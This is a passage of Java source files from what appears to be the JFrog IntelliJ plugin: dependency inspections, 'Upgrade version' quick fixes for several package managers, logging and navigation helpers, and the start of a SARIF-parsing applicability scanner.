    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.codeInspection.ProblemsHolder;\nimport com.intellij.json.psi.JsonElementVisitor;\nimport com.intellij.json.psi.JsonProperty;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiElementVisitor;\nimport com.jfrog.ide.idea.inspections.upgradeversion.NpmUpgradeVersion;\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.scan.NpmScanner;\nimport com.jfrog.ide.idea.scan.ScanManager;\nimport com.jfrog.ide.idea.scan.ScannerBase;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.Collection;\n\n/**\n * @author yahavi\n */\npublic class NpmInspection extends AbstractInspection {\n\n    public NpmInspection() {\n        super(Descriptor.NPM);\n    }\n\n    @NotNull\n    @Override\n    public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) {\n        return new JsonElementVisitor() {\n            @Override\n            public void visitProperty(@NotNull JsonProperty element) {\n                super.visitProperty(element);\n                NpmInspection.this.visitElement(holder, element, isOnTheFly);\n            }\n        };\n    }\n\n    @Override\n    public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) {\n        if (element instanceof JsonProperty) {\n            NpmInspection.this.visitElement(holder, element);\n        }\n    }\n\n    @Override\n    boolean isDependency(PsiElement element) {\n        PsiElement parentElement = element.getParent().getParent();\n        return parentElement != null && StringUtils.equalsAny(parentElement.getFirstChild().getText(), \"\\\"dependencies\\\"\", \"\\\"devDependencies\\\"\");\n    }\n\n    @Override\n    ScannerBase getScanner(Project project, String path) {\n        return ScanManager.getScanners(project).stream()\n                .filter(manager -> StringUtils.equals(manager.getProjectPath(), path))\n                .filter(this::isMatchingScanner)\n                .findAny()\n                .orElse(null);\n    }\n\n    boolean isMatchingScanner(ScannerBase scanner) {\n        return scanner instanceof NpmScanner;\n    }\n\n    @Override\n    String createComponentName(PsiElement element) {\n        return StringUtils.unwrap(element.getFirstChild().getText(), \"\\\"\");\n    }\n\n    @Override\n    UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        return new NpmUpgradeVersion(componentName, fixVersion, issue, descriptorPath);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/ShowInDependencyTree.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.codeInsight.intention.HighPriorityAction;\nimport com.intellij.codeInspection.LocalQuickFix;\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.util.Iconable;\nimport com.intellij.util.ui.tree.TreeUtil;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\nimport com.jfrog.ide.idea.utils.Utils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\n\n/**\n * Adds the yellow bulb action - \"Show in JFrog plugin\".\n *\n * @author yahavi\n */\npublic class ShowInDependencyTree implements LocalQuickFix, Iconable, HighPriorityAction {\n\n    final static String SHOW_IN_TREE_MESSAGE = \"Show vulnerability info in JFrog plugin\";\n    private final DependencyNode node;\n    private final String dependencyDescription;\n\n    public ShowInDependencyTree(DependencyNode node, String dependencyDescription) {\n        this.node = node;\n        this.dependencyDescription = dependencyDescription;\n    }\n\n    @Override\n    public Icon getIcon(int flags) {\n        return IconUtils.load(\"jfrog_icon\");\n    }\n\n    @NotNull\n    @Override\n    public String getFamilyName() {\n        return SHOW_IN_TREE_MESSAGE + \" - \" + dependencyDescription;\n    }\n\n    @Override\n    public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {\n        Utils.focusJFrogToolWindow(project);\n        TreeUtil.selectInTree(project, node, true, LocalComponentsTree.getInstance(project), true);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/YarnInspection.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.inspections.upgradeversion.YarnUpgradeVersion;\nimport com.jfrog.ide.idea.scan.ScannerBase;\nimport com.jfrog.ide.idea.scan.YarnScanner;\n\nimport java.util.Collection;\n\n\n/**\n * @author michaels\n */\npublic class YarnInspection extends NpmInspection {\n    @Override\n    boolean isMatchingScanner(ScannerBase scanner) {\n        return scanner instanceof YarnScanner;\n    }\n\n    @Override\n    UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        return new YarnUpgradeVersion(componentName, fixVersion, issue, descriptorPath);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/GoUpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.go.GoComponentUpdater;\nimport com.jfrog.ide.idea.utils.GoUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Collection;\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic class GoUpgradeVersion extends UpgradeVersion {\n    private final String descriptorPath;\n\n    public GoUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        super(componentName, fixVersion, issue);\n        this.descriptorPath = descriptorPath;\n    }\n\n    @Override\n    public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException {\n        Path modulePath = Paths.get(descriptorPath).getParent();\n        String goExec = GoUtils.getGoExeAndSetEnv(env, project);\n        GoComponentUpdater goComponentUpdater = new GoComponentUpdater(modulePath, this.log, this.env, goExec);\n        goComponentUpdater.run(componentName, fixVersion);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/GradleGroovyUpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.PsiElement;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElementFactory;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrNamedArgument;\nimport org.jetbrains.plugins.groovy.lang.psi.api.statements.expressions.literals.GrLiteral;\nimport org.jetbrains.plugins.groovy.lang.psi.api.util.GrNamedArgumentsOwner;\n\nimport java.util.Collection;\n\nimport static com.jfrog.ide.idea.inspections.GradleGroovyInspection.GRADLE_VERSION_KEY;\nimport static com.jfrog.ide.idea.inspections.GradleGroovyInspection.getLiteralValue;\nimport static com.jfrog.ide.idea.inspections.GradleInspection.stripVersion;\n\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic class GradleGroovyUpgradeVersion extends UpgradeVersion {\n\n    public GradleGroovyUpgradeVersion(String componentName, String fixVersion, Collection<String> issue) {\n        super(componentName, fixVersion, issue);\n    }\n\n    @Override\n    public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {\n        PsiElement element = descriptor.getPsiElement();\n        GroovyPsiElementFactory psiFactory = GroovyPsiElementFactory.getInstance(project);\n\n        if (element instanceof GrNamedArgumentsOwner) {\n            // group: 'com', name: 'guava', version: '1.1.1' >> group: 'com', name: 'guava', version: '2.2.2'\n            GrNamedArgument versionArg = ((GrNamedArgumentsOwner) element).findNamedArgument(GRADLE_VERSION_KEY);\n            if (versionArg != null && versionArg.getExpression() != null) {\n                versionArg.getExpression().replace(psiFactory.createExpressionFromText(StringUtils.wrap(fixVersion, \"'\")));\n                return;\n            }\n        }\n\n        if (element instanceof GrLiteral) {\n            // 'com:guava:1.1.1' >> 'com:guava:2.2.2'\n            String componentString = getLiteralValue((GrLiteral) element);\n            String fixedComponentString = String.join(\":\", stripVersion(componentString), fixVersion);\n            element.replace(psiFactory.createExpressionFromText(StringUtils.wrap(fixedComponentString, \"'\")));\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/GradleKotlinUpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.kotlin.psi.KtExpression;\nimport org.jetbrains.kotlin.psi.KtStringTemplateExpression;\nimport org.jetbrains.kotlin.psi.KtValueArgument;\nimport org.jetbrains.kotlin.psi.KtValueArgumentList;\n\nimport java.util.Collection;\nimport java.util.List;\n\nimport static com.jfrog.ide.idea.inspections.GradleInspection.stripVersion;\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic class GradleKotlinUpgradeVersion extends UpgradeVersion {\n\n    public GradleKotlinUpgradeVersion(String componentName, String fixVersion, Collection<String> issue) {\n        super(componentName, fixVersion, issue);\n    }\n\n    @Override\n    public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {\n        List<KtValueArgument> argumentList = ((KtValueArgumentList) descriptor.getPsiElement()).getArguments();\n        String updateText = \"\";\n        KtExpression expressionToUpdate = null;\n\n        if (argumentList.size() == 1) {\n            // \"commons-collections:commons-collections:3.2.2\"\n            expressionToUpdate = argumentList.get(0).getArgumentExpression();\n            if (expressionToUpdate != null) {\n                String stripQuotes = StringUtils.unwrap(expressionToUpdate.getText(), \"\\\"\");\n                updateText = stripVersion(stripQuotes) + \":\" + fixVersion;\n            }\n        } else if (argumentList.size() >= 3) {\n            // \"commons-collections\", \"commons-collections\", \"3.2.2\"\n            expressionToUpdate = argumentList.get(2).getArgumentExpression();\n            updateText = fixVersion;\n        }\n\n        if (expressionToUpdate instanceof KtStringTemplateExpression) {\n            ((KtStringTemplateExpression) expressionToUpdate).updateText(StringUtils.wrap(updateText, \"\\\"\"));\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/MavenUpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.impl.source.xml.XmlTagImpl;\nimport com.intellij.psi.xml.XmlTag;\nimport com.intellij.psi.xml.XmlTagValue;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.idea.maven.dom.MavenDomUtil;\nimport org.jetbrains.idea.maven.dom.model.MavenDomProjectModel;\n\nimport java.util.Collection;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport static org.jetbrains.idea.maven.dom.MavenDomProjectProcessorUtils.findProperty;\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic class MavenUpgradeVersion extends UpgradeVersion {\n\n    private static final Pattern POM_PROPERTY_REGEX = Pattern.compile(\"^\\\\$\\\\{(.*)}\");\n\n    public MavenUpgradeVersion(String componentName, String fixVersion, Collection<String> issue) {\n        super(componentName, fixVersion, issue);\n    }\n\n    @Override\n    public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {\n        final XmlTag[] versions = ((XmlTagImpl) descriptor.getPsiElement()).findSubTags(\"version\");\n        XmlTagValue versionTagValue = versions[0].getValue();\n        Matcher propMatcher = POM_PROPERTY_REGEX.matcher(versionTagValue.getText());\n        if (!propMatcher.find()) {\n            // Simple version tag. (example: '<version>1.2.3</version>')\n            versionTagValue.setText(fixVersion);\n        } else {\n            // Property version tag. (example: '<version>${my.ver}</version>')\n            MavenDomProjectModel domModel = MavenDomUtil.getMavenDomProjectModel(project, descriptor.getPsiElement().getContainingFile().getVirtualFile());\n            if (domModel != null) {\n                XmlTag prop = findProperty(domModel.getProperties(), propMatcher.group(1));\n                if (prop != null) {\n                    prop.getValue().setText(fixVersion);\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/NpmUpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.npm.NpmComponentUpdater;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Collection;\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic class NpmUpgradeVersion extends UpgradeVersion {\n    private final String descriptorPath;\n\n    public NpmUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        super(componentName, fixVersion, issue);\n        this.descriptorPath = descriptorPath;\n    }\n\n    @Override\n    public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException {\n        Path modulePath = Paths.get(descriptorPath).getParent();\n        NpmComponentUpdater npmComponentUpdater = new NpmComponentUpdater(modulePath, this.log, this.env);\n        npmComponentUpdater.run(componentName, fixVersion);\n    }\n\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/UpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInsight.intention.HighPriorityAction;\nimport com.intellij.codeInspection.LocalQuickFix;\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.command.WriteCommandAction;\nimport com.intellij.openapi.progress.ProgressManager;\nimport com.intellij.openapi.progress.Task;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.util.Iconable;\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport java.io.IOException;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic abstract class UpgradeVersion implements LocalQuickFix, Iconable, HighPriorityAction {\n    protected String componentName;\n    protected String fixVersion;\n    protected String issue;\n    protected Logger log;\n    protected Map<String, String> env;\n\n    public UpgradeVersion(String componentName, String fixVersion, Collection<String> issue) {\n        this.componentName = componentName;\n        this.fixVersion = fixVersion;\n        this.issue = issue.toString();\n        this.log = Logger.getInstance();\n        this.env = new HashMap<>(EnvironmentUtil.getEnvironmentMap());\n    }\n\n    @Override\n    public Icon getIcon(int flags) {\n        return IconUtils.load(\"jfrog_icon\");\n    }\n\n    @NotNull\n    @Override\n    public String getFamilyName() {\n        return \"Upgrade version to \" + fixVersion + \" to fix \" + issue;\n    }\n\n    @Override\n    public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) {\n        Task.Backgroundable scanAndUpdateTask = new Task.Backgroundable(project, \"Upgrading dependency...\") {\n            @Override\n            public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) {\n                ApplicationManager.getApplication().invokeAndWait(() -> {\n                        WriteCommandAction.runWriteCommandAction(project, () -> {\n                            try {\n                                upgradeComponentVersion(project, descriptor);\n                                log.info(\"Upgraded \" + componentName + \" to version \" + fixVersion + \" successfully.\");\n                            } catch (IOException e) {\n                                log.error(\"Failed while trying to upgrade component \" + componentName + \" to version \" + fixVersion + \". Error: \" + e);\n                            }\n                        });\n                    descriptor.getPsiElement().getContainingFile().getVirtualFile().refresh(false, false);\n                });\n            }\n        };\n        ProgressManager.getInstance().run(scanAndUpdateTask);\n    }\n\n    abstract public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException;\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/YarnUpgradeVersion.java",
    "content": "package com.jfrog.ide.idea.inspections.upgradeversion;\n\nimport com.intellij.codeInspection.ProblemDescriptor;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.yarn.YarnComponentUpdater;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Collection;\n\n/**\n * Adds the yellow bulb action - \"Upgrade Version\".\n *\n * @author michaels\n */\npublic class YarnUpgradeVersion extends UpgradeVersion {\n    private final String descriptorPath;\n\n    public YarnUpgradeVersion(String componentName, String fixVersion, Collection<String> issue, String descriptorPath) {\n        super(componentName, fixVersion, issue);\n        this.descriptorPath = descriptorPath;\n    }\n\n    @Override\n    public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException {\n        Path modulePath = Paths.get(descriptorPath).getParent();\n        YarnComponentUpdater yarnComponentUpdater = new YarnComponentUpdater(modulePath, this.log, this.env);\n        yarnComponentUpdater.run(componentName, fixVersion);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/log/Logger.java",
    "content": "package com.jfrog.ide.idea.log;\n\nimport com.intellij.notification.*;\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.options.Configurable;\nimport com.intellij.openapi.options.ShowSettingsUtil;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.ui.popup.Balloon;\nimport com.intellij.openapi.ui.popup.JBPopupFactory;\nimport com.intellij.openapi.wm.StatusBar;\nimport com.intellij.openapi.wm.WindowManager;\nimport com.intellij.ui.JBColor;\nimport com.intellij.ui.awt.RelativePoint;\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.codehaus.plexus.util.ExceptionUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.api.util.Log;\n\nimport static javax.swing.event.HyperlinkEvent.EventType.ACTIVATED;\n\n/**\n * @author yahavi\n */\npublic class Logger implements Log {\n    private static final long serialVersionUID = 1L;\n\n    private static final NotificationGroup EVENT_LOG_NOTIFIER = NotificationGroupManager.getInstance().getNotificationGroup(\"JFrog Log\");\n    private static final NotificationGroup BALLOON_NOTIFIER = NotificationGroupManager.getInstance().getNotificationGroup(\"JFrog Errors\");\n    private static final com.intellij.openapi.diagnostic.Logger ideaLogger = com.intellij.openapi.diagnostic.Logger.getInstance(Logger.class);\n    private static Notification lastNotification;\n\n    private static final String INFORMATION_TITLE = \"JFrog\";\n    private static final String ERROR_TITLE = \"JFrog scan failed\";\n\n    public static Logger getInstance() {\n        return ApplicationManager.getApplication().getService(Logger.class);\n    }\n\n    private Logger() {\n    }\n\n    @Override\n    public void debug(String message) {\n        ideaLogger.debug(message);\n    }\n\n    @Override\n    public void info(String message) {\n        ideaLogger.info(message);\n        NotificationType notificationType = NotificationType.INFORMATION;\n        log(INFORMATION_TITLE, message, notificationType);\n    }\n\n    @Override\n    public void warn(String message) {\n        ideaLogger.warn(message);\n        NotificationType notificationType = NotificationType.WARNING;\n        log(INFORMATION_TITLE, message, notificationType);\n    }\n\n    /**\n     * Log an error.\n     * Notice - For the best user experience, make sure that only interactive actions should call this method.\n     *\n     * @param message - The message to log\n     */\n    @Override\n    public void error(String message) {\n        // We log to IntelliJ log in \"warn\" log level to avoid popup annoying fatal errors\n        ideaLogger.warn(message);\n        NotificationType notificationType = NotificationType.ERROR;\n        popupBalloon(message, notificationType);\n        log(ERROR_TITLE, message, notificationType);\n    }\n\n    /**\n     * Log an error.\n     * Notice - For the best user experience, make sure that only interactive actions should call this method.\n     *\n     * @param message - The message to log\n     * @param t       - The exception raised\n     */\n    @Override\n    public void error(String message, Throwable t) {\n        // We log to IntelliJ log in \"warn\" log level to avoid popup annoying fatal errors\n        ideaLogger.warn(message, t);\n        NotificationType notificationType = NotificationType.ERROR;\n        popupBalloon(message, notificationType);\n        String title = StringUtils.defaultIfBlank(t.getMessage(), ERROR_TITLE);\n        log(title, message + System.lineSeparator() + ExceptionUtils.getStackTrace(t), notificationType);\n    }\n\n    private static void log(String title, String details, NotificationType notificationType) {\n        if (StringUtils.isBlank(details)) {\n            details = title;\n        }\n        Notifications.Bus.notify(EVENT_LOG_NOTIFIER.createNotification(title, prependPrefix(details, notificationType), notificationType));\n    }\n\n    private static void popupBalloon(String content, NotificationType notificationType) {\n        if (lastNotification != null) {\n            lastNotification.hideBalloon();\n        }\n        if (StringUtils.isBlank(content)) {\n            content = ERROR_TITLE;\n        }\n        Notification notification = BALLOON_NOTIFIER.createNotification(ERROR_TITLE, content, notificationType);\n        lastNotification = notification;\n        Notifications.Bus.notify(notification);\n    }\n\n    private static String prependPrefix(String message, NotificationType notificationType) {\n        return switch (notificationType) {\n            case WARNING -> \"[WARN] \" + message;\n            case ERROR -> \"[ERROR] \" + message;\n            default -> \"[INFO] \" + message;\n        };\n    }\n\n    /**\n     * Add a log message with an open settings link.\n     * Usage example:\n     * Logger.openSettings(\"It looks like Gradle home was not properly set in your project.\n     * Click <a href=\\\"#settings\\\">here</a> to set Gradle home.\", project, GradleConfigurable.class);\n     *\n     * @param details      - The log message\n     * @param project      - IDEA project\n     * @param configurable - IDEA settings to open\n     */\n    public static void addOpenSettingsLink(String details, Project project, Class<? extends Configurable> configurable) {\n        EVENT_LOG_NOTIFIER.createNotification(INFORMATION_TITLE, prependPrefix(details, NotificationType.INFORMATION), NotificationType.INFORMATION)\n                .addAction(new AnAction() {\n                    @Override\n                    public void actionPerformed(@NotNull AnActionEvent e) {\n                        ShowSettingsUtil.getInstance().showSettingsDialog(project, configurable);\n                    }\n                })\n                .notify(project);\n    }\n\n    /**\n     * Popup a balloon with an actionable link.\n     * Usage example:\n     * Logger.showActionableBalloon(project,\n     * \"The scan results have expired. Click <a href=\\\"here\\\">here</a> to trigger a scan.\",\n     * () -> ScanManager.getInstance(project).startScan());\n     *\n     * @param project     - IDEA project\n     * @param htmlContent - The log message\n     * @param action      - The action to perform\n     */\n    public static void showActionableBalloon(Project project, String htmlContent, Runnable action) {\n        StatusBar statusBar = WindowManager.getInstance().getStatusBar(project);\n        JBPopupFactory.getInstance().createHtmlTextBalloonBuilder(htmlContent,\n                        IconUtils.load(\"jfrog_icon\"),\n                        JBColor.foreground(),\n                        JBColor.background(),\n                        event -> {\n                            if (event.getEventType() != ACTIVATED) {\n                                return;\n                            }\n                            action.run();\n                        })\n                .setCloseButtonEnabled(true)\n                .setHideOnAction(true)\n                .setHideOnClickOutside(true)\n                .setHideOnLinkClick(true)\n                .setHideOnKeyOutside(true)\n                .setDialogMode(true)\n                .createBalloon()\n                .show(RelativePoint.getNorthWestOf(statusBar.getComponent()), Balloon.Position.atRight);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/log/ProgressIndicatorImpl.java",
    "content": "package com.jfrog.ide.idea.log;\n\n\nimport com.intellij.openapi.progress.ProgressIndicator;\n\n/**\n * @author yahavi\n */\npublic class ProgressIndicatorImpl implements com.jfrog.ide.common.log.ProgressIndicator {\n\n    private final ProgressIndicator indicator;\n\n    public ProgressIndicatorImpl(ProgressIndicator indicator) {\n        this.indicator = indicator;\n    }\n\n    @Override\n    public void setFraction(double fraction) {\n        indicator.setIndeterminate(false);\n        indicator.setFraction(fraction);\n    }\n\n    @Override\n    public void setIndeterminate(boolean indeterminate) {\n        indicator.setIndeterminate(true);\n    }\n\n    @Override\n    public void setText(String text) {\n        indicator.setText(text);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/navigation/NavigationService.java",
    "content": "package com.jfrog.ide.idea.navigation;\n\nimport com.google.common.collect.Maps;\nimport com.intellij.openapi.editor.Document;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.psi.FileViewProvider;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiFile;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Map;\nimport java.util.Set;\n\n/**\n * Created by Bar Belity on 27/04/2020.\n * Manage navigation from node in Issues-tree to its corresponding item in the project descriptor.\n */\npublic class NavigationService {\n\n    private final Map<DependencyNode, Set<NavigationTarget>> navigationMap = Maps.newHashMap();\n\n    public static NavigationService getInstance(@NotNull Project project) {\n        return project.getService(NavigationService.class);\n    }\n\n    /**\n     * Clear existing navigation map.\n     */\n    public static void clearNavigationMap(@NotNull Project project) {\n        NavigationService navigationService = NavigationService.getInstance(project);\n        navigationService.navigationMap.clear();\n    }\n\n    /**\n     * Add a navigation element to the node in tree.\n     *\n     * @param treeNode                The tree-node to register the navigation from.\n     * @param navigationTargetElement The PsiElement we register the navigation to.\n     */\n    public void addNavigation(DependencyNode treeNode, PsiElement navigationTargetElement, String componentName) {\n        PsiFile containingFile = navigationTargetElement.getContainingFile();\n        FileViewProvider fileViewProvider = containingFile.getViewProvider();\n        Document document = fileViewProvider.getDocument();\n        if (document == null) {\n            return;\n        }\n        NavigationTarget navigationTarget = new NavigationTarget(navigationTargetElement, document.getLineNumber(navigationTargetElement.getTextOffset()), componentName);\n        Set<NavigationTarget> navigationTargets = navigationMap.get(treeNode);\n        if (navigationTargets == null) {\n            navigationTargets = new HashSet<>(Collections.singletonList(navigationTarget));\n\n            navigationMap.put(treeNode, navigationTargets);\n            return;\n        }\n        navigationTargets.add(navigationTarget);\n    }\n\n    /**\n     * Get navigation targets for a specific node in tree.\n     *\n     * @param treeNode The tree-node to get its navigation.\n     * @return Set of candidates for navigation.\n     */\n    public Set<NavigationTarget> getNavigation(DependencyNode treeNode) {\n        return navigationMap.get(treeNode);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/navigation/NavigationTarget.java",
    "content": "package com.jfrog.ide.idea.navigation;\n\nimport com.intellij.psi.PsiElement;\n\nimport java.util.Objects;\n\n/**\n * Created by Bar Belity on 14/05/2020.\n */\npublic class NavigationTarget {\n\n    private final PsiElement element;\n    private final int lineNumber;\n\n    private final String componentName;\n\n    NavigationTarget(PsiElement element, int lineNumber, String componentName) {\n        this.element = element;\n        this.lineNumber = lineNumber;\n        this.componentName = componentName;\n    }\n\n    public PsiElement getElement() {\n        return element;\n    }\n\n    public int getLineNumber() {\n        return lineNumber;\n    }\n\n    public String getComponentName() {\n        return componentName;\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (this == o) return true;\n        if (!(o instanceof NavigationTarget)) return false;\n        NavigationTarget that = (NavigationTarget) o;\n        return lineNumber == that.lineNumber &&\n                element.isValid() && that.element.isValid() &&\n                Objects.equals(element.getContainingFile(), that.element.getContainingFile());\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hash(element.getContainingFile(), lineNumber);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/scan/ApplicabilityScannerExecutor.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.ApplicableIssueNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.VulnerabilityNode;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.scan.data.*;\nimport com.jfrog.xray.client.services.entitlements.Feature;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jfrog.build.api.util.Log;\n\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.util.*;\nimport java.util.stream.Collectors;\n\n/**\n * @author Tal Arian\n */\npublic class ApplicabilityScannerExecutor extends ScanBinaryExecutor {\n    private static final List<String> SCANNER_ARGS = List.of(\"ca\");\n    private static final List<PackageManagerType> SUPPORTED_PACKAGE_TYPES = List.of(PackageManagerType.PYPI, PackageManagerType.NPM, PackageManagerType.YARN, PackageManagerType.GRADLE, PackageManagerType.MAVEN);\n\n    public ApplicabilityScannerExecutor(Log log) {\n        super(SourceCodeScanType.CONTEXTUAL, log);\n        supportedPackageTypes = SUPPORTED_PACKAGE_TYPES;\n    }\n\n    public List<JFrogSecurityWarning> execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException {\n        return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, indicator);\n    }\n\n    @Override\n    protected List<JFrogSecurityWarning> parseOutputSarif(Path outputFile) throws IOException, IndexOutOfBoundsException {\n        Output output = getOutputObj(outputFile);\n        List<JFrogSecurityWarning> warnings = new ArrayList<>();\n        for (Run run : output.getRuns()) {\n            List<Rule> rules = run.getTool().getDriver().getRules();\n            Map<String, List<SarifResult>> resultsByRule = run.getResults().stream()\n                    .filter(SarifResult::isNotSuppressed)\n                    .filter(r -> !\"informational\".equals(r.getKind()))\n                    .collect(Collectors.groupingBy(SarifResult::getRuleId));\n\n            for (Rule rule : getUniqueRules(rules)) {\n                Optional<RuleProperties> props = rule.getRuleProperties();\n                if (props.isEmpty()) {\n                    continue;\n                }\n                String applicability = props.get().getApplicability();\n                if (applicability == null) {\n                    continue;\n                }\n\n                if (\"applicable\".equals(applicability)) {\n                    